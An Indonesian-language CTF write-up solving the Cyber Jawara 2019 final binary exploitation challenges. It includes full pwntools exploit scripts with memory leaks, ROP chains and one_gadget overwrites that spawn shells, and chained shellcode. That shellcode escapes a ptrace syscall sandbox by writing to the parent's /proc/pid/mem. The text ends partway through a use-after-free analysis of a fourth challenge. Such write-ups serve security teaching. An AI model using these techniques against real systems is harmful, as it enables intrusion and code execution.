For English, please click here

Indonesian

Pada tanggal 7 September 2019, babak kualifikasi dari lomba keamanan informasi tahunan Cyber Jawara diadakan. Tim saya mendapatkan posisi ke-13, dan biasanya diambil 10 tim untuk lanjut ke babak final. Untungnya tahun ini, 16 tim lanjut ke babak final.

Ketika babak final, kami diberi 8 soal, 4 dalam kategori web hacking dan 4 dalam kategori binary exploitation. Pada postingan ini, saya akan menjelaskan cara untuk menyelesaikan semua soal binex. Semua file dapat diunduh disini.

Catatan

Soal yang diberi sangat sulit. Saya sendiri hanya solve 2 ketika lomba berlangsung, sebagian besar karena saya tidak mempunyai environment yang cocok untuk menyelesaikan soalnya. Semua soal dijalani di Ubuntu 18.10, dan pada postingan ini saya akan menggunakan itu. (Ketika lombanya berlangsung saya menggunakan Ubuntu 19.04)

1. Warshall

Ketika menjalankan programnya, akan ditampilkan menu seperti berikut. Program ini akan mensimulasi algoritma mencari panjang jalan terpendek, melalui kota dan jalan yang dapat kita tentukan.

Contoh:

A B 2
A C 5
B C 2

Panjang jalan terpendek dari A ke C adalah 4. Algoritma yang digunakan adalah algoritma Floyd-Warshall, karenanya nama soal ini adalah Warshall.

== Shortest Path Finder ==

1) Add city
2) Build direct road
3) Find shortest path
4) Exit
> 1
City name: A
1) Add city
2) Build direct road
3) Find shortest path
4) Exit
> 1
City name: B
1) Add city
2) Build direct road
3) Find shortest path
4) Exit
> 1
City name: C
1) Add city
2) Build direct road
3) Find shortest path
4) Exit
> 2
Insert city 1: A
Insert city 2: B
Road distance (in km): 2
1) Add city
2) Build direct road
3) Find shortest path
4) Exit
> 2
Insert city 1: A
Insert city 2: C
Road distance (in km): 5
1) Add city
2) Build direct road
3) Find shortest path
4) Exit
> 2
Insert city 1: B
Insert city 2: C
Road distance (in km): 2
1) Add city
2) Build direct road
3) Find shortest path
4) Exit
> 3
Insert city 1: A
Insert city 2: C
Shortest path from A to C: 4km
1) Add city
2) Build direct road
3) Find shortest path
4) Exit
>

Bugnya

Sebelum berlanjut ke bug, sebaiknya dipelajari terlebih dahulu cara kerja algoritma Floyd-Warshall. Anda dapat pelajarinya lebih lanjut disini

Algoritma Floyd-Warshall pada program tersebut menggunakan array sebesar 100 untuk menyimpan nama dari kota, dan array sebesar 10000 untuk menyimpan panjang jalan. Terdapat overflow pada fungsi “Add city”:

printf("City name: ");
fgets(local_118,0x100,stdin);
strtok(local_118,"\n");
iVar1 = check_if_city_exists(local_118);
if (iVar1 < 0) {
  lVar2 = (long)num_of_city;
  num_of_city = num_of_city + 1;
  strcpy(&name_of_city + lVar2 * 0x100,local_118);
}
else {
  puts("City already exists!");
}

Programnya tidak periksa jika 100 kota sudah ditambahkan atau tidak. Ini sendiri tidak berakibat pada leak atau yang lain, tapi ini menjadi sebab dari bug kedua, yaitu overflow pada array panjang jalan. Berbeda dari array nama kota, array panjang jalan terletak di stack. Karena kita bisa mendapatkan overflow, kita bisa mengubah return address dari fungsi handle untuk mendapatkan RCE.

Leak

Sebelum saya lanjut, saya harus bilang bahwa ketika CTF berlangsung, saya panggil fungsi system untuk mendapatkan RCE. Sebelumnya saya sudah mencoba menggunakan libc one_gadget, akan tetapi untuk satu dan lain hal (saya yang bodoh, bukan karena constraint), cara itu tidak berhasil. Nanti pada soal kedua, berhasil.

Dikarenakan proteksi PIE dihidupkan, kita perlu leak area executable. Karena fungsi handle dipanggil oleh fungsi main, return address dari fungsi tersebut merupakan bagian dari area executable. Dengan leak area executable, dengan mudah kita bisa mendapatkan leak libc dengan PLT puts, dan kemudian memanggil fungsi system.

Sebuah leak bisa didapatkan dari fungsi “Find shortest path”. Karena semua jalan diinisialisasi dengan panjang infinit (anggap aja infinit), nilai dari return address seharusnya memiliki nilai yang lebih kecil daripada itu. Perhatikan kode berikut:

printf("Insert city 1: ");
fgets(local_218,0x100,stdin);
strtok(local_218,"\n");
iVar1 = check_if_city_exists(local_218);
if (iVar1 == -1) {
  puts("City not exists!");
}
else {
  printf("Insert city 2: ");
  fgets(local_118,0x100,stdin);
  strtok(local_118,"\n");
  iVar2 = check_if_city_exists(local_118);
  if (iVar2 == -1) {
    puts("City not exists!");
  }
  else {
    if (road_array[(long)iVar1 * 100 + (long)iVar2] == 1000000000) {
      printf("No path from %s to %s\n",local_218,local_118);
    }
    printf("Shortest path from %s to %s: %dkm\n",local_218,local_118,
           (ulong)road_array[(long)iVar1 * 100 + (long)iVar2]);
  }
}

Tidak ada pengecekan jika iVar1 atau iVar2 kurang dari 100, maka dengan input yang tertentu kita bisa mendapatkan nilai dari return address. Catatan: Jalan terpendek direpresentasikan oleh integer 32-bit, maka kita perlu leak 2 kali.

list_names = []
for i in range(100):
  list_names.append(''.join([random.choice(string.ascii_lowercase) for j in range(10)]))
  create_city(list_names[i])

# Overflow
create_city('pwner')


## EXEC LEAK
short_path('pwner', list_names[51])
p.recvuntil(": ")
l = struct.pack("<i", int(p.recvuntil("km")[:-2]))[::-1].encode('hex')

short_path('pwner', list_names[50])
p.recvuntil(": ")
l +=  struct.pack("<i", int(p.recvuntil("km")[:-2]))[::-1].encode('hex')

l = int(l, 16)
exec_base = l - 0x96b
print "EXEC BASE LEAK"
print hex(exec_base)

Error

Fungsi “Build direct road” memberi kita cara untuk menulis nilai kedalam array panjang jalan. Karena kita bisa mendapatkan overflow ke return address (tanpa kena stack canary), kita dapat menulis nilai yang kita inginkan kedalamnya.

Kita memerlukan 2 ropchain, satu untuk leak libc dan satu lagi untuk panggil fungsi system dan mendapatkan RCE.

Catatan: Dari pengalaman saya, sejak libc 2.27, parameter kedua dari fungsi system harus diset menjadi NULL agar dapat panggil fungsi system tanpa segmentation fault. Makanya ada beberapa angka nol yang diselipkan kedalam ropchain.

Berikut exploit lengkap saya:



from pwn import *
import string
import random

p = process('./warshall')

def create_city(name):
  p.sendlineafter('>', '1')
  p.sendlineafter('name:', name)

def build_road(city1, city2, distance):
  p.sendlineafter('>', '2')
  p.sendlineafter('1:', city1)
  p.sendlineafter('2:', city2)
  p.sendlineafter('):', distance)

def short_path(city1, city2):
  p.sendlineafter('>', '3')
  p.sendlineafter('1:', city1)
  p.sendlineafter('2:', city2)

def end():
  p.sendlineafter('>', '4')

list_names = []
for i in range(100):
  list_names.append(''.join([random.choice(string.ascii_lowercase) for j in range(10)]))
  create_city(list_names[i])

# Overflow
create_city('pwner')


## EXEC LEAK
short_path('pwner', list_names[51])
p.recvuntil(": ")
l = struct.pack("<i", int(p.recvuntil("km")[:-2]))[::-1].encode('hex')

short_path('pwner', list_names[50])
p.recvuntil(": ")
l +=  struct.pack("<i", int(p.recvuntil("km")[:-2]))[::-1].encode('hex')

l = int(l, 16)
exec_base = l - 0x96b
print "EXEC BASE LEAK"
print hex(exec_base)

pop_rdi = exec_base + 0x1273
pop_rsi_r15 = exec_base + 0x1271
just_ret = exec_base + 0x1274
main = exec_base + 0x11f1
puts_got = exec_base + 0x201f98
puts_plt = exec_base + 0x790


# WRITE TIME

build_road('pwner', list_names[6], str(pop_rdi & 0xffffffff))
build_road('pwner', list_names[7], str((pop_rdi>>32) & 0xffffffff))

build_road('pwner', list_names[8], str(puts_got & 0xffffffff))
build_road('pwner', list_names[9], str((puts_got>>32) & 0xffffffff))

build_road('pwner', list_names[10], str(puts_plt & 0xffffffff))
build_road('pwner', list_names[11], str((puts_plt>>32) & 0xffffffff))

build_road('pwner', list_names[12], str(main & 0xffffffff))
build_road('pwner', list_names[13], str((main>>32) & 0xffffffff))

end()

## LIBC LEAK
l = int(p.recvuntil('\x7f')[-6:][::-1].encode('hex'), 16)

libc_base = l - 0x81010
system_address = libc_base + 0x50300
bin_sh_address = libc_base + 0x1aae80

print hex(system_address)



build_road('pwner', list_names[6], str(pop_rdi & 0xffffffff))
build_road('pwner', list_names[7], str((pop_rdi>>32) & 0xffffffff))

build_road('pwner', list_names[8], str(bin_sh_address & 0xffffffff))
build_road('pwner', list_names[9], str((bin_sh_address>>32) & 0xffffffff))

build_road('pwner', list_names[10], str(pop_rsi_r15 & 0xffffffff))
build_road('pwner', list_names[11], str((pop_rsi_r15>>32) & 0xffffffff))

build_road('pwner', list_names[12], str(0))
build_road('pwner', list_names[13], str(0))
build_road('pwner', list_names[14], str(0))
build_road('pwner', list_names[15], str(0))

build_road('pwner', list_names[16], str(system_address & 0xffffffff))
build_road('pwner', list_names[17], str((system_address>>32) & 0xffffffff))

end()

p.interactive()
p.close()

Error

:)




2. Midas

Midas merupakan soal yang paling saya benci. Soalnya didasari permasalahan coin change, dimana kita dapat menentukan koin apa saja yang ada dan nilai yang ingin kita hitung. Programnya akan mencetak banyaknya cara untuk mencapai jumlah yang telah kita tentukan.

== MIDAS - How many ways we can make the change? ==

1) Init coins
2) Compute
3) Exit
Choice: 1
Number of coins: 3
Insert nominal 1: 1
Insert nominal 2: 3
Insert nominal 3: 4

1) Init coins
2) Compute
3) Exit
Choice: 2
Insert desired value: 6
We can change 6 with 4 ways

1) Init coins
2) Compute
3) Exit
Choice:

Bugnya

Sebelum berlanjut ke bugnya, sebaiknya mengetahui cara kerja algoritma coin change. Anda bisa baca lebih lanjut disini

Berikut dekompilasi fungsi handler.

undefined coins [1200];
undefined amounts [12008];
puts("== MIDAS - How many ways we can make the change? ==");
while( true ) {
    while( true ) {
        while( true ) {
            puts("");
            puts("1) Init coins");
            puts("2) Compute");
            puts("3) Exit");
            printf("Choice: ");
            choice = read_int();
            if (choice != 1) break;
            number_of_coins = input_coins(coins);
        }
        if (choice != 2) break;
        calculate_ways(coins,amounts,12000,(ulong)number_of_coins);
        }
    if (choice == 3) break;
    puts("Invalid Choice!");
}

Seperti bisa dilihat, terdapat dua fungsi yang akan digunakan dalam kalkulasi algoritma coin change. Berikut dekompilasi kedua fungsi tersebut.

input_coins:

printf("Number of coins: ");
number_of_coins = read_int();
if ((int)number_of_coins < 0x12d) {
    i = 0;
    while (i < number_of_coins) {
        printf("Insert nominal %d: ",(ulong)(i + 1));
        nominal = read_int();
        if ((nominal < 1) || (3000 < nominal)) {
            printf("Please insert a number with valid range (1-%d)\n",3000);
            *(int *)((ulong)i * 4 + param_1) = nominal;
            if (*(int *)(param_1 + (ulong)i * 4) == 0) break;
        }
        else {
        *(int *)((ulong)i * 4 + param_1) = nominal;
        }
        i = i + 1;
    }
    return_value = (ulong)number_of_coins;
}
else {
    printf("Maximum number of coins is %d!\n",300);
    return_value = 0;
}
return return_value;

calculate_ways:

memset(param_2,0,(ulong)param_3);
*param_2 = 1;
printf("Insert desired value: ");
value = read_int();
i = 0;
while (i < param_4) {
    j = *(uint *)(param_1 + (ulong)i * 4);
    while (j <= value) {
        param_2[j] = param_2[j - *(int *)(param_1 + (ulong)i * 4)] + param_2[j];
        j = j + 1;
    }
    i = i + 1;
}
printf("We can change %d with %d ways\n",(ulong)value,(ulong)(uint)param_2[value]);
return;

Maksimal jumlah koin adalah 300, yaitu jumlah yang tepat ((1200)/4 == 300). Jadi tidak ada overflow pada bagian itu. Akan tetapi, yang menarik adalah fungsi calculate_ways. Tidak terdapat pengecekan batas jadi kita dapat melakukan kalkulasi pada angka berapapun. Hasilnya akan disimpan di param_2(array yang isinya hasil) + (jumlah yang dicari), maka kita bisa menulis diluar batas array.

Dengan OOB ini, kita bisa mendapatkan leak area executable, libc, dan menulis nilai dari return address fungsi handler.

Leak

Pada soal ini, saya menggunakan one_gadget untuk mendapatkan RCE. Ternyata pada soal sebelumnya saya ada offset yang salah. Yaudahlah ¯\_(ツ)_/¯.

Untuk mendapatkan leak area executable, saya cuma jalanin fungsi calculate_ways dua kali, pada offset 3006 dan 3007. Nilai itu adalah nilai dari return address. Karena seharusnya nilainya merupakan alamat di fungsi main, nilai tersebut merupakan nilai alamat di area executable.

Leak area executable sebenarnya tidak terlalu penting jika ingin langsung lompat ke libc one_gadget, tapi saya dapatin aja. Leak libc dapat didapatkan dengan cara yang sama pada offset 3010 dan 3011.

    compute(3011)
    p.recvuntil("with ")
    l = struct.pack("<i", int(p.recvuntil("ways")[:-4]))[::-1].encode('hex')

    compute(3010)
    p.recvuntil("with ")
    l += struct.pack("<i", int(p.recvuntil("ways")[:-4]))[::-1].encode('hex')
    l = int(l, 16)
    print hex(l)

    libc_base = l - 0x2409b
    one_gadget = libc_base + 0x50186


    compute(3007)
    p.recvuntil("with ")
    l = struct.pack("<i", int(p.recvuntil("ways")[:-4]))[::-1].encode('hex')

    compute(3006)
    p.recvuntil("with ")
    l += struct.pack("<i", int(p.recvuntil("ways")[:-4]))[::-1].encode('hex')
    l = int(l, 16)
    print hex(l)

    exec_leak = l

Error

Nah bagian ini adalah bagian yang ribet. Karena saya tidak terlalu pandai dalam bidang algoritma, saya hanya lakukan trail dan error sampai dapat cara yang bagus untuk menulis nilai. Setelah beberapa waktu saya perhatikan bahwa memset gak mengubah nilai return address (yalah wkwkw), jadi daripada menulis langsung angka yang besar, dengan perlambat saya menambahkan angka sampai dapat pada nilai yang saya inginkan. Saya harus gunakan faktor dari 3006 dan 3007 agar cepat, menambahkan koin akan mempercepat penambahannya.

Benar-benar cuma brute force sampai dapat. Aduh kenapa gak belajar algoritma lebih lanjut :(

Berikut exploit lengkap saya. Abaikan while(True), saya gunakan itu karena saya berharap nilai dari alamat one_gadget dan area executable itu positif kecil (kurang dari 300000000)



from pwn import *



def init_coins(num, coins):
  p.sendlineafter("Choice:", '1')
  p.sendlineafter("coins:", str(num))
  for i in coins:
    p.sendlineafter(":", str(i))

def compute(num):
  p.sendlineafter("Choice:", '2')
  p.sendlineafter("value:", str(num))

def end():
  p.sendlineafter("Choice:", '3')


while(True):
  p = process('./midas')
  compute(3011)
  p.recvuntil("with ")
  l = struct.pack("<i", int(p.recvuntil("ways")[:-4]))[::-1].encode('hex')

  compute(3010)
  p.recvuntil("with ")
  l += struct.pack("<i", int(p.recvuntil("ways")[:-4]))[::-1].encode('hex')
  l = int(l, 16)
  print hex(l)

  libc_base = l - 0x2409b
  one_gadget = libc_base + 0x50186


  compute(3007)
  p.recvuntil("with ")
  l = struct.pack("<i", int(p.recvuntil("ways")[:-4]))[::-1].encode('hex')

  compute(3006)
  p.recvuntil("with ")
  l += struct.pack("<i", int(p.recvuntil("ways")[:-4]))[::-1].encode('hex')
  l = int(l, 16)
  print hex(l)

  exec_leak = l


  one_gadget_part_1 = one_gadget & 0xffffffff
  ret_address_part_1 = exec_leak & 0xffffffff
  one_gadget_part_2 = (one_gadget>>32) & 0xffffffff
  ret_address_part_2 = (exec_leak>>32) & 0xffffffff


  temp = (one_gadget_part_1 - ret_address_part_1)
  print temp

  if(temp > 300000000 or temp < 0):
    p.close()
    continue
  init_coins(4, [9 for i in range(4)])
  while(one_gadget_part_1 > ret_address_part_1 + 6322120):
    compute(3006)
    ret_address_part_1 += 6322120

  print "HOPE"

  init_coins(3, [9 for i in range(3)])
  while(one_gadget_part_1 > ret_address_part_1 + 56280):
    compute(3006)
    ret_address_part_1 += 56280

  print "HOPE"

  init_coins(2, [9 for i in range(2)])
  while(one_gadget_part_1 > ret_address_part_1 + 335):
    compute(3006)
    ret_address_part_1 += 335

  print "HOPE"

  init_coins(1, [9])
  while(one_gadget_part_1 != ret_address_part_1):
    compute(3006)
    ret_address_part_1 += 1

  print "HOPE"

  init_coins(2, [31 for i in range(2)])
  while(one_gadget_part_2 > ret_address_part_2 + 98):
    compute(3007)
    ret_address_part_2 += 98

  print "HOPE"

  init_coins(1, [31])
  while(one_gadget_part_2 != ret_address_part_2):
    compute(3007)
    ret_address_part_2 += 1

  end()
  p.interactive()
  p.close()

Error

Yay!




3. Kreis

Sebelum saya lanjut, untuk kedua soal terakhir saya akan menilai solusi berdasarkan daftar berikut:
* Flag dapat dibaca dan namanya adalah flag/flag.txt
* Flag dapat dibaca dan namanya random
* Flag tidak dapat dibaca langsung, harus dapat RCE.

Kreis merupakan soal shellcode. Dekompilasi dari soalnya sebagai berikut.

void main(void)

{
  code *__addr;
  
  setup();
  puts("Shellcode:");
  __addr = (code *)mmap((void *)0x0,0xb,7,0x21,-1,0);
  fgets((char *)__addr,0xb,stdin);
  mprotect(__addr,0xb,5);
  (*__addr)();
                    /* WARNING: Subroutine does not return */
  exit(0);
}

Terlihat, pada awalnya soal melakuakan mmap pada alamat random dengan proteksi rwx. Kita dapat menulis sebanyak 10 byte kedalamnya, dan setelah itu proteksi diubah mprotect menjadi r-x. Maka kita hanya bisa menggunakan 10 byte shellcode untuk membantu kita.

10 byte tidak banyak, jadi tujuan pertama saya adalah mencari cara untuk menulis lebih banyak shellcode. Melihat nilai register pas sebelum shellcode dipanggil, saya melihat r12 ada nilai yang spesifik.

Error

0x4005f0 adalah nilai alamat _start, yang sangat berguna bagi kita. Maka kita memiliki cara untuk melompat keawal program lagi untuk menulis shellcode 10 byte lagi. Karena saya tidak ingin merusak stack terlalu banyak, saya mengubah nilai dari r12 menjadi nilai alamat main, yang terletak pada offset 0x10c dari _start. Setelah itu saya hanya perlu lompat kembali ke main. Jadi, berikut adalah payload pertama saya (10 di bagian kiri atas adalah panjang dari shellcode)

10
   0:   49 81 c4 0c 01 00 00    add    r12, 0x10c
   7:   41 54                   push   r12
   9:   c3                      ret

Sekarang kita memiliki cara untuk menulis lebih banyak shellcode sepanjang 10 byte, gimana cara untuk mendapatkan shellcode lebih panjang? Saya memecahkan persoalan ini menjadi 2 bagian, mendapatkan area rwx yang lebih besar dan menulis serta melompat ke area itu.

Mprotect

Karena fungsi main ada pemanggilan ke fungsi mprotect, maka fungsi tersebut seharusnya ada di PLT.

Error

PLT terletak sebelum _start, jadi kita harus mengurangi nilai sebuah register. Selain r12, terlihat bahwa r13, r14, dan r15 tidak berubah nilai pada loop kita. Jadi saya memindahkan nilai r12 ke r13 dan menguranginya dengan nilai tertentu.

6
   0:   41 54                   push   r12
   2:   4d 89 e5                mov    r13, r12
   5:   c3                      ret
10
   0:   41 54                   push   r12
   2:   49 81 ed f0 00 00 00    sub    r13, 0xf0
   9:   c3                      ret
7
   0:   41 54                   push   r12
   2:   49 83 ed 3c             sub    r13, 0x3c
   6:   c3                      ret

Nah sekarang kita hanya perlu menyiapkan parameter fungsi. Karena ini binary 64-bit, parameter fungsi akan terletak pada rdi, rsi, rdx, rcx, r8, dan r9 berturut-turut. Kita hanya memerlukan tiga, jadi cuma perlu menyiapkan rdi, rsi, dan rdx. Untuk mencapai ini, saya menempatkan nilai-nilainya di stack dan kemudian melakukan pop. Alasan saya lakukan itu adalah karena pop rdi, pop rsi, dan pop rdx merupakan instruksi dengan panjang 1 byte.

8
   0:   58                      pop    rax
   1:   58                      pop    rax
   2:   58                      pop    rax
   3:   6a 07                   push   0x7
   5:   41 54                   push   r12
   7:   c3                      ret
10
   0:   58                      pop    rax
   1:   58                      pop    rax
   2:   5f                      pop    rdi
   3:   5e                      pop    rsi
   4:   5a                      pop    rdx
   5:   41 54                   push   r12
   7:   41 ff e5                jmp    r13

pop rax digunakan untuk menyiapkan stack menjadi kondisi yang sempurna. Ini mengakibatkan area rwx yang panjang.

Error

Cara program tersebut memanggil shellcode adalah sebagai berikut.

00400753 48 89 c7        MOV        RDI,RAX
00400756 e8 55 fe        CALL       fgets    
         ff ff
0040075b 48 8b 45 f8     MOV        RAX,qword ptr [RBP + local_10]
0040075f ba 05 00        MOV        EDX,0x5
         00 00
00400764 be 0b 00        MOV        ESI,0xb
         00 00
00400769 48 89 c7        MOV        RDI,RAX
0040076c e8 5f fe        CALL       mprotect  
         ff ff
00400771 48 8b 55 f8     MOV        RDX,qword ptr [RBP + local_10]
00400775 b8 00 00        MOV        EAX,0x0
         00 00
0040077a ff d2           CALL       RDX

Ini berarti bahwa alamat dari area yang di mmap terletak di rdx. Menurut gdb, nilai tersebut sangat dekat dengan area yang kita ubah menjadi rwx barusan.

Error

Jadi saya memindahakan nilai ini ke r13, dan menambahkan r13 dengan nilai yang diperlukan.

6
   0:   41 54                   push   r12
   2:   49 89 d5                mov    r13, rdx
   5:   c3                      ret
10
   0:   41 54                   push   r12
   2:   49 81 c5 00 00 20 00    add    r13, 0x200000
   9:   c3                      ret

Sekarang saya perlu menyiapkan syscall read dengan 10 byte. Sekali lagi, saya menggunakan stack untuk membantu.

10
   0:   4c 89 ee                mov    rsi, r13
   3:   5a                      pop    rdx
   4:   5f                      pop    rdi
   5:   57                      push   rdi
   6:   0f 05                   syscall 
   8:   ff e6                   jmp    rsi

Sekarang saya bisa menulis shellcode yang panjang.

Sandbox

Sekarang, mungkin anda pikir bahwa shellcode execve tidak terlalu jauh, tapi saya belum bahas tentang program sandbox. Soal ini sebenarnya memberikan kita 2 program, kreis dan sandbox. Program yang barusan saya bahas adalah program kreis, sedangkan sebenarnya soal ini menjalankan ./sandbox kreis pada remote server. Berikut dekompilasi dari fungsi main di program sandbox.

init(param_1);
if ((int)param_1 < 2) {
    fprintf(stderr,"Run: %s [program]\n",*param_2);
    uVar2 = 0xffffffff;
}
else {
    uVar1 = fork();
    if (uVar1 == 0) {
        run_target(param_2[1]);
    }
    else {
        if ((int)uVar1 < 1) {
        fwrite("Fork error",1,10,stderr);
        return 0xffffffff;
    }
    run_debugger((ulong)uVar1);
    }
    uVar2 = 0;
}
return uVar2;

fork merupakan fungsi yang menduplikasi process sedang jalan. Yang jalanin fork bernama parent dan process baru dinamakan child. Kedua process memiliki sifat yang sama, kecuali beberapa pengecualian. Return value dari fungsi tersebut adalah PID process baru untuk parent, dan 0 untuk child. Ini berarti bahwa process child yang akan jalankan fungsi run_target.

Berikut adalah dekompilasi dari fungsi run_target.

lVar1 = ptrace(PTRACE_TRACEME,0,0,0);
if (lVar1 < 0) {
    fwrite("Error ptrace\n",1,0xd,stderr);
}
else {
    execl(param_1,param_1,0);
}
return;

Karena argv[1] adalah kreis, process child akan jalankan kreis.

Terdapat juga fungsi run_debugger yang sebenarnya cuma ngetrack child process. Hal ini dapat dilakukan dengan fungsi ptrace dan waitpid. Bagian kode yang paling menarik adalah yang berikut.

    if ((local_f8 & 0xff) != 0x7f) goto LAB_00100d63;
    uVar1 = (int)local_f8 >> 8;
    if ((uVar1 & 0xff) < 0x21) break;
    ptrace(PTRACE_GETREGS,(ulong)param_1,0,local_e8);
    local_ec = (int)local_70;
    if ((local_ec == 0x3b) || (local_ec == 0x142)) {
        puts("[Sandbox] Forbidden syscall detected. Kill the program.");
        kill_process((ulong)param_1);
LAB_00100d63:
        exit(0);
    }

Bagian kode ini akan ngetrack syscall apa saya yang digunakan oleh process yang diptrace, dan terlihat bahwa dia memblokir syscall dengan nilai 0x3b dan 0x142. Menurut artikel ini, 0x3b adalah execve dan 0x142 adalah execveat.

Berarti kita gabisa panggil execve dan mendapatkan RCE :(

Menurut daftar yang diatas, kita hanya bisa melewati 2 elemen pertama:
✓ Flag dapat dibaca dan namanya adalah flag/flag.txt
✓ Flag dapat dibaca dan namanya random
✗ Flag tidak dapat dibaca langsung, harus dapat RCE.

Mendapatkan RCE

Ketika upsolve, saya sudah mencoba beberapa cara untuk mendapatkan RCE. Saya akan jelaskan semuanya, dan jika bisa, jelaskan kenapa tidak berhasil.

1. Mengubah menjadi mode 32-bit (gagal)

Setelah mencari online untuk berbagai cara melewati seccomp, saya mendapatkan post ini. Intinya, terdapat cara untuk menjalani syscall 32-bit pada process 64-bit. Dengan instruksi retf, kita bisa mengubah nilai dari register cs dan rip. Ketika nilai dari register cs adalah 0x33, maka process akan berjalan dalam mode 64-bit, sedangkan jika nilainya adalah 0x23, maka process aja berjalan dengan mode 32-bit. Dengan mmap di memory dengan panjang alamat 32-bit, kita bisa menyiapkan shellcode seperti ini.

Karena nilai syscall execve di mode 32-bit adalah 0xb daripada 0x3b, seharusnya kita dapat menjalankan execve dan mendapatkan RCE. Akan tetapi, setelah menyiapkan kondisi seperti ini, ptrace tetap deteksi syscall terlarang dan memberhentikan process tersebut. Tebakan saya adalah karena process parent jalan dengan mode 64-bit, syscall yang dibaca tetap 0x3b.

2. Menggunakan syscall x32 ABI
Selain mengubah menjadi mode 32-bit, kita dapat menggunakan trik lain, yaitu syscall x32 ABI. Saya menemukan teknik ini dari post ini, dimana dia menggunakan syscall open x32 untuk membaca flagnya. Daftar lengkap syscall x32 ABI dapat dilihat disini. Catatan, cara membaca daftar tersebut adalah 64 -> hanya x86-64, x32 -> hanya x32, common -> keduanya

Dengan ilmu yang sudah kita miliki, menggunkana 0x40000208 sebagai nilai dari rax, execve seharusnya berjalan dan process parent seharusnya menangkapnya sebagai 0x40000208. Sayangnya, syscall ini tidak berjalan pada docker saya. Nanti saya cari cara memperbaikinya.

3. Menulis ke /proc/$pid/mem (berhasil)
Hal terakhir yang saya coba adalah file /proc/$pid/mem. File ini secara abtrak mengandung seluruh memory program suatu process pada saat runtime. File ini bersifat writable, sehingga kita dapat menulis apa saja yang kita inginkan pada suatu process bahkan saat runtime. Dengan cara ini, kita bisa menulis shellcode, mengubah pointer, dsb dengan hanya menulis ke file ini.

Ide saya sebagai berikut, menulis ke program memory parent process (yaitu program sandbox) dan memanggil execve dengan one_gadget.

Pertama kita perlu tau PID dari parent process. Hal ini dapat dicapai dengan membaca file /proc/self/stat dari child process. Angka keempat merupakan PPID (Sebenarnya kedua, tapi ntah kenapa berhasil untuk aku, minimal secara lokal. Mungkin secara remote harus yang kedua).

sc = '''
mov rax, 0
mov rdi, 0
mov rsi, r13
mov rdx, 0x1000
syscall
'''
sc += shellcraft.pushstr('/proc/self/stat')
sc += shellcraft.open('rsp', 0, 0)
sc += shellcraft.read('rax', 'rsp', 0x200)
sc += shellcraft.write(1, 'rsp', 0x200)

sc += '''
jmp r13
'''
shellcode = '\x90'*80 + asm(sc).ljust(0x200, '\x90')
p.sendline(shellcode)

## PPID LEAK
p.recvuntil('R ')
p.recvuntil(' ')
p.recvuntil(' ')
PPID = int(p.recvuntil(' '))
print PPID

Kedua, saya perlu mendapatkan mapping parent process. Hal ini dapat dilakukan dengan membaca file /proc/$pid/maps.

sc = '''
mov rax, 0
mov rdi, 0
mov rsi, r13
mov rdx, 0x1000
syscall
'''
sc += shellcraft.pushstr('/proc/{}/maps'.format(PPID))
sc += shellcraft.open('rsp', 0, 0)
sc += shellcraft.read('rax', 'rsp', 0xa00)
sc += shellcraft.write(1, 'rsp', 0xa00)

sc += '''
jmp r13
'''
shellcode = '\x90'*80 + asm(sc).ljust(0x200, '\x90')
p.sendline(shellcode)

p.recvuntil('sandbox')
sandbox_base = int(p.recvuntil('-')[:-1], 16)
offset_to_change = sandbox_base + 0xfb0
print hex(offset_to_change)
p.recvuntil('sandbox')
p.recvuntil('sandbox')
libc_base = int(p.recvuntil('-')[:-1], 16)
print hex(libc_base)

one_gadget = libc_base + 0x103f50

Ketiga, buka file /proc/$pid/mem dan menulis one_gadget ke GOT exit. Panggil syscall terlarang di child, yang seharusnya memberhentikan child dan mengeksekusi exit, dalam kasus ini adalah one_gadget.

sc = '''
mov rax, 0
mov rdi, 0
mov rsi, r13
mov rdx, 0x1000
syscall
'''
sc += shellcraft.pushstr('/proc/{}/mem'.format(PPID))
sc += shellcraft.open('rsp', 2, 0)
sc += '''
mov r14, rax
mov rax, 8
mov rdi, r14
mov rsi, {}
mov rdx, 1
syscall

mov rdi, {}
push rdi
mov rax, r14
'''.format(offset_to_change, one_gadget)
sc += shellcraft.write('rax', 'rsp', 8)
sc += shellcraft.close('r14')
sc += '''
jmp r13
'''
shellcode = '\x90'*80 + asm(sc).ljust(0x200, '\x90')
p.sendline(shellcode)

Error

Berhasil!




4. Ziel

Ziel merupakan soal terakhir yang diberi. Karena dia yang terakhir, dia juga yang paling susah (Gak juga sih, kreis lebih susah :P). Programnya merupakan suatu simulator kehidupan, dimana kita bisa spawn makhluk baru dan dia akan “berjalan” pada suatu arah yang ditentukan dengan sebuah kecepatan yang ditentukan. Ketika dua makhluk tabrak, keduanya mati. Terdapat banyak fungsi lain, anda bisa unduh dan mencoba programnya disini. Program tersebut dicompile dengan PIE, maka kita tidak ada indikator tentang lokasi data.

- World:
----------------------
|                    |
|                    |
|                    |
|                    |
|                    |
|                    |
|                    |
|                    |
|                    |
|                    |
|                    |
|                    |
|                    |
|                    |
|                    |
|                    |
|                    |
|                    |
|                    |
|                    |
----------------------
- Choose an action:
1. Next
2. Spawn
3. Kill
4. Save
5. Load
6. Restart
7. Quit
> 

Dengan makhluk:

- World:
----------------------
|                    |
|                    |
|                    |
|                    |
|                    |
|                    |
|                    |
|                    |
|                b   |
|                    |
|                    |
|                    |
|            a       |
|                    |
|                    |
|                    |
|                    |
|                    |
|                    |
|                    |
----------------------
- Choose an action:
1. Next
2. Spawn
3. Kill
4. Save
5. Load
6. Restart
7. Quit
> 

Bugnya

Bugnya terletak di fungsi kill. Berikut adalah dekompilasi fungsi kill.

int kill(__pid_t __pid,int __sig)
{
  int iVar1;
  int iVar2;
  uint uVar3;
  
  puts("");
  puts("- Input location.");
  printf("X: ");
  iVar1 = read_int();
  printf("Y: ");
  iVar2 = read_int();
  if ((((iVar1 < 0) || (iVar2 < 0)) || (width <= iVar1)) || (height <= iVar2)) {
    uVar3 = puts("Invalid location.");
  }
  else {
    uVar3 = (uint)*(ushort *)(&temp_alive_dat + (long)(iVar1 + width * iVar2) * 2);
    if ((*(ushort *)(&temp_alive_dat + (long)(iVar1 + width * iVar2) * 2) != 2) &&
       (uVar3 = (uint)*(long *)(layout_addresses + (long)(iVar1 + width * iVar2) * 8),
       *(long *)(layout_addresses + (long)(iVar1 + width * iVar2) * 8) != 0)) {
      free(*(void **)(layout_addresses + (long)(iVar1 + width * iVar2) * 8));
      uVar3 = 0x5575b060;
      *(undefined2 *)(&temp_alive_dat + (long)(iVar1 + width * iVar2) * 2) = 2;
    }
  }
  return (int)uVar3;
}

